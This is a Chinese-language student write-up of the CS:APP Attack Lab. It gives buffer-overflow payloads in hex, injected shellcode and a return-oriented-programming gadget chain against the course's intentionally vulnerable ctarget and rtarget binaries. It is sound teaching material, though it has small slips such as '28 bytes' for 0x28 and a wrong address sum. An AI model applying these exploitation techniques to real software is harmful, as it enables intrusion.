Attack Lab
//执行ctarget会进入并要利用的函数
void test()
{
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
//getbuf的实现
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf); /* 没有边界检查 */
return 1;
}
objdump中getbuf的反汇编
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
level 1
目标:Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement,rather than returning to test
所以我们需要在调用getbuf()
的时候把返回地址覆盖成touch1()
的入口地址。
由于Gets()
读取28个字节后就会将getbuf()
的返回地址覆盖。
objdump出touch1
:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
得到应该在溢出区填充地址 00000000004017c0
所以应该填充:
(小端, 低位低地址,高位高地址)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
写在文件exploit.txt
(附录A有工具hex2raw的使用方法)中, 然后运行命令:
cat exploit.txt |./hex2raw | ./ctarget -q
level 1就这样就完成了:
level 2
目标:Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,however, you must make it appear to touch2 as if you have passed your cookie as its argument.
比level1多了一个要求,就是要传入自己的cookie来进行判断,显示出带有touch2的输出才是正确的。
/* touch2 */
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
前面与level1同理,找出touch2()
的入口地址:0x4017ec
。
这里会注入一段代码,使得rdi携带参数cookie(下载的lab中有个cookie.txt文件):
movq $0x59b997fa %rdi
retq
借助编译器以及objdump得到二进制指令:
gcc -c level2.c
objdump -d level2.o
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: c3 retq
直接利用28字节的缓冲区注入代码,所以这里应该要想办法得到数据栈的地址,利用gdb我们可以得到getbuf()
数据栈顶的地址为0x5561dc78:
所以我们把getbuf()
的返回地址覆盖为数据栈顶的地址:
所以有二进制编码:
48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00
getbuf()
返回时会把rsp定位到0x5561dc78
,当我们注入的代码调用retq时,又接着弹出地址0x5561dc80
的数据,这次会定位到函数touch2()
。
通过第四章知道:ret会把栈顶元素传送到rip,然后rsp+8
level 3
目标:Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.
- 可以看出基本与level2同理,只是要注意hexmatch可能会覆盖我们注入的代码
/* 从代码中可以看出我们要返回分支touch3才是正确 */
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
所以我们要把cookie(0x59b997fa)转化为字符串:
35 39 62 39 39 37 66 61
找出touch3
的入口地址(0x4018fa):
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
.......
这里要计算一下注入的地址(与level2同理):
- address为:0x5561dc78+0x28+0x8+0x8 = 0x5561dcb0
要注入的汇编语句(利用rdi传递参数):
movq $0x5561dcb0, %rdi
retq
#反汇编出来
0000000000000000 <.text>:
0: 48 c7 c7 b0 dc 61 55 mov $0x5561dcb0,%rdi
7: c3 retq
所以我们的注入二进制为:
48 c7 c7 b0 dc 61 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
运行命令得到结果:
level 4
It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.
It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault
由于level4 和 level5开启了栈随机化和限制可执行代码区域(书上3.10.4),所以需要使用ROP攻击
思路是利用pop %rdi
,然后ret
返回到touch2
,但是不能直接找到这样的代码,不过可以间接找到两个:
# 58 --> pop rax%
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
# 48 89 c7 --> movl rax%, rdi%
# 然后紧跟着nop(没有影响),retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
求出两个要利用的地址:
-
addval_219:
0x4019a7 + 0x4 = 0x4019ab -
setval_426:
0x4019c5 + 0x2 = 0x4019c5
利用工具objdump反汇编出来touch2
的地址0x4017ec:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip)
# 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi
# 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
......
分析完了,我们现在可以进行填充,这里首先还是采用28字节填充,然后填充第一个gadget的地址,使程序执行该地址处的指令pop %rax
,这是栈指针位置处应该填上cookie,接着执行的ret会把cookie上面的栈值的地址处的指令传送到%rip,利用mov %rax, %rdi实现参数的传递,在利用ret使得程序定位到touch2()
:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00